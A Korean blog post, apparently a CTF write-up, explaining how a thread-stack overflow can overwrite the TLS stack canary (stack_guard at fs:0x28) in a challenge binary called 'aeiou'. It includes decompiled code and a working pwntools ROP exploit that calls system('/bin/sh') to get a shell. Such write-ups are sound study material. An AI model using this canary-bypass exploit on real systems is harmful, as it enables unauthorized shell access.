티스토리 뷰
Summary
- Thread Local Storage(TLS)
리눅스는 x86: gs
, x86_64: fs
레지스터로 TLS
를 관리한다.
TLS
란 쓰레드를 관리하기 위한 전역변수이며 해당 변수의 0번 째 인덱스에는 TCB
(Thread Control Block)의 주소가 저장된다.
TCB
는 해당 쓰레드를 관리하기 위한 구조체.
typedef struct
{
void *tcb; /* Pointer to the TCB. Not necessarily the
thread descriptor used by libpthread. */
dtv_t *dtv;
void *self; /* Pointer to the thread descriptor. */
int multiple_threads;
int gscope_flag;
uintptr_t sysinfo;
uintptr_t stack_guard;
uintptr_t pointer_guard;
...
} tcbhead_t;
위 구조체에서 볼 수 있는 stack_guard
영역은 fs:0x28
영역에 저장되어 있는 stack canary
이다.
저 부분을 overwrite할 수 있다면 canary
를 원하는 값으로 조작할 수 있다.
새로운 쓰레드가 만들어질 때 TLS
영역과 새로운 쓰레드의 stack 영역이 같은 mmap 공간에 놓이게 되어 새로운 쓰레드에서 스택 오버플로우가 발생할 경우 TLS
영역의 stack_guard
를 덮을 수 있다.
Analyze
3번 메뉴.
int Teaching()
{
int result; // eax
pthread_t newthread; // [rsp+0h] [rbp-10h]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
pthread_create(&newthread, 0LL, (void *(*)(void *))start_routine, 0LL);
result = pthread_join(newthread, 0LL);
if ( result )
{
puts("oooooh :(");
result = 1;
}
return result;
}
start_routine
void *__fastcall start_routine(void *a1)
{
unsigned __int64 len; // [rsp+8h] [rbp-1018h]
char s; // [rsp+10h] [rbp-1010h]
unsigned __int64 v4; // [rsp+1018h] [rbp-8h]
v4 = __readfsqword(0x28u);
memset(&s, 0, 0x1000uLL);
puts("Hello!");
puts("Let me know the number!");
len = sub_400FF5();
if ( len <= 0x10000 )
{
read_(0, (__int64)&s, len);
puts("Thank You :)");
}
else
{
puts("Too much :(");
}
return 0LL;
}
스택상황을 보면 위에 언급한 구조체가 보임.
Exploit
rop payload 짜고 뒤에 덮어주면 됨.
from pwn import *
s = process("aeiou")
e = ELF("aeiou")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
prdi = 0x4026f3
prsi_r15 = 0x4026f1
payload = ''
payload += "A"*0x1008+"A"*16
payload += p64(prdi)
payload += p64(0)
payload += p64(prsi_r15)
payload += p64(e.bss())
payload += p64(0)
payload += p64(e.plt['read'])
payload += p64(prdi)
payload += p64(e.bss())
payload += p64(e.plt['system'])
payload = payload.ljust(0x17F0, "A")
s.sendlineafter(">>", "3")
s.sendlineafter("!\n", str(len(payload)))
s.send(payload)
s.send("/bin/sh")
s.interactive()
'pwnable > CTF write-up' 카테고리의 다른 글
[pwnpwnpwn-16] christmas 2016 who_is_solo (1) | 2020.01.30 |
---|---|
[pwnpwnpwn-14] codegate 2018 heapbabe (0) | 2020.01.27 |
[pwnpwnpwn-13] codegate 2019 god-the-reum (0) | 2020.01.26 |
[pwnpwnpwn-12] codegate 2018 Super Marimo (0) | 2020.01.24 |
[pwnpwnpwn-4] WhiteHat GrandPrix 2019 - BookStore (0) | 2020.01.08 |
Comments
최근에 올라온 글
최근에 달린 댓글
TAG
- tcache
- HackCTF
- hacking
- pwnable.tw
- fastbin
- FSB
- glibc
- exit
- pwable
- shellcoding
- SQLi
- pwnable
- srop
- oob
- 본선가고싶다
- fastbindup
- fsop
- heap
- codegate
- ebp change
- stack reusing
- TLS
- rt_sigreturn
- 해킹
- overflow
- Total
- Today
- Yesterday